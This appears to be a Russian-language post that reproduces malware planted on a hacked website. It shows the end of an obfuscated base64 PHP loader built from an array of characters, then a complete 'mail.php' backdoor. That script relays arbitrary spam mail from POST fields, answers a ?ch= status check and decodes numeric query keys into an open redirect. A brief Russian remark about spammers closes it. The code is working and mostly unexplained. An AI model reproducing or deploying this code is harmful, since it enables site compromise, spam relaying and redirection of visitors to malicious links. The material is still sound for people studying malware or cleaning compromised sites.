t1I8N5W/BdKOMV+sBR/1uEJvuirpgpAl0ORsq5MFfSSm+BLeo3dHAd+0xMpPMhcXkCC4vR3EYeQzYYGlCdRyg+VaGYth3HJfLcCxfc5xuhTlliB1n5i1M9v3J930H+kRV8OIKE1UFAAz0QMYKBvtNDaB8Ep4xjpknywX8pN1GH3ADPTzxKTJHnOwJ+vHQJNEgfodn1bUSqQ9DuVxBuTix5KwAHo6TcpN1PmZImAcOv5vaCsnSnwlZ81hQ0Q3HaJGbhltMgU3qwpwRCOA/PCKsHtpCwCi/aGeOuY2+fSnSiFayYmrRPztwEevG2EfXhsTEICV8kZZYXrYkkakQ0kjeRfEiT//C9xPs2EGzITqTsbK/Fis3wCvvxVb80C71h9ATrHCli1XAorrYi5LIuOrKYBsrAfHywZ0AQ0ftZWkXZ3PQCjAYMzJ/JeNl6MYJi0XB0V4+NbEyMqHO+CGGlKAxP8s21AQFGsGek+UHHS+VYDSWaWK00Y+F0OpMmRIuQI5enbkFGvusQsBsqNDsR8AABAbpobQIkXTUfHgj8qUr90PexMKj+Oz1Cha9N/0EOhGQS8LD1jL2vgHKL8hDQOFlSMvCUO0cUQthpJo8UE5AMdlVKF0i21AXT18PRbqQxulIRG5YPNHYGDn6DTNOA77ItDqGkhLod/vckJQuX7fu+CKEmSBgrSCWlooJT3NOjzEKejDrEzy9wQ9/Cf0c4Ewz+/6UWFmAKavuCOJNPmnW6kIE6OAOqYp2nstpRx0zvUBM0hElqn1YzpiTteVpQugDTiJrESqKjs31Kw34AHxfFx+Zt4ZeH6PXHV97gYgTGOjynQUe5eI2B7ZPpPU5+zcHF+TO4gwJBtKYE2lZ4YDifD2ibk7TJwXFiYH2B0Y9DqE/lC2uprVt/oUCh9EQqanX3cJ6VqNsjh9QD/fJ/NG45vAlw6VAjNlwFBoZws5Kef9s5Eu5a27+H4F/bllQTHzRCBUU6R55Tlr7fJaMbWmdWxzbl3C3dG6yWJfDFelZf46Gy/VK+PIbVrund+NAxFLlRi8ltXWbfmUmQ8h5VCi4VLnyWZgXZsIpCpw2WFsZnLNBv/dozfJJ7+S4YMYQoyUEjesX90ZyWOR1AdjPo9FuG02jdj7iu71C3CwA9WF9JNllYFoWeeNhke7lHEDR1XLki0lfpGV8BVSA8qOdYEdhpanBazWSLXHlCptoBQg9JCeQwLWVhhHuQtiMCGaRJE9wbYD4U7aX+2n5NABNpv0k+3D2s/bH/pvtNbqvwJrM5XulRW5fifVZ3Fdgp1yBCF9PAfRxkIHv/ZHbcvTQlTfLwhWdpqc+JOvqpJxS2OVuNGyG3S8y+THIBV9R9g/krjIbEEH5vhIL+cA+LQFy9R3kR/+mMWOC0w3++UlSioY1nmKKOLiMoL+9PLGJk16RqnNPe2dcMrhQEfK0kb0DZakoAC7NEu1DWLwtTvJXOK/dvfL4T+/w+U+etf//qff/23f/s///uf/i8='".$O9654;$oDJXw7301($YLbgPfj524[42].$YLbgPfj524[19].$YLbgPfj524[13].$YLbgPfj524[42].$YLbgPfj524[30], $jlvpdR6408  ,"156");

[свернуть]
mail.php

<?php
if ($_GET ['ch']) {
 echo "OK";
 exit ();
}

if($_POST['to'])
{
 $to = $_POST ['to'];
 $subject = stripslashes ( $_POST ['subj'] );
 $message = stripslashes ( $_POST ['mes'] );
 $headers = stripslashes ( $_POST ['headers'] );
 
 if (mail ( $to, $subject, $message, $headers )) {
 echo "Message sent successfully";
 } else {
 echo "An error occured";
 }
}

if (! $_POST['to'] && ! $_GET ['ch'] && count($_GET) > 0) {
 $arr = array (
 1 => 'a',
 2 => 'b',
 3 => 'c',
 4 => 'd',
 5 => 'e',
 6 => 'f',
 7 => 'g',
 8 => 'h',
 9 => 'i',
 10 => 'j',
 11 => 'k',
 12 => 'l',
 13 => 'm',
 14 => 'n',
 15 => 'o',
 16 => 'p',
 17 => 'q',
 18 => 'r',
 19 => 's',
 20 => 't',
 21 => 'u',
 22 => 'v',
 23 => 'w',
 24 => 'x',
 25 => 'y',
 26 => 'z',
 27 => '.',
 28 => '1',
 29 => '2',
 30 => '3',
 31 => '4',
 32 => '5',
 33 => '6',
 34 => '7',
 35 => '8',
 36 => '9',
 37 => '0',
 38 => '-'
 );
 
 $var = key ( $_GET );
 
 $var_arr = explode ( "-", $var );
 
 foreach ( $var_arr as $value ) {
 preg_match_all ( "~\d+~", $value, $matches );
 
 $value = implode ( "", $matches [0] );
 
 if ($value > sizeof ( $arr )) {
 for($i = $value; $i > sizeof ( $arr ); $i = $i - sizeof ( $arr )) {
 $value = $i;
 }
 
 $value -= sizeof ( $arr );
 }
 
 $string .= $arr [$value];
 }
 
 $link = $string . $_GET [$var];
 
 header ( "Location: http://{$link}" );
}

[свернуть]

Hell0 в РОлД пресс

Отныне домен не просто доставляет спаммерам ссылки для связи со мной, но и стал уютненькой содержит немного полезной инфы, наслаждайтесь!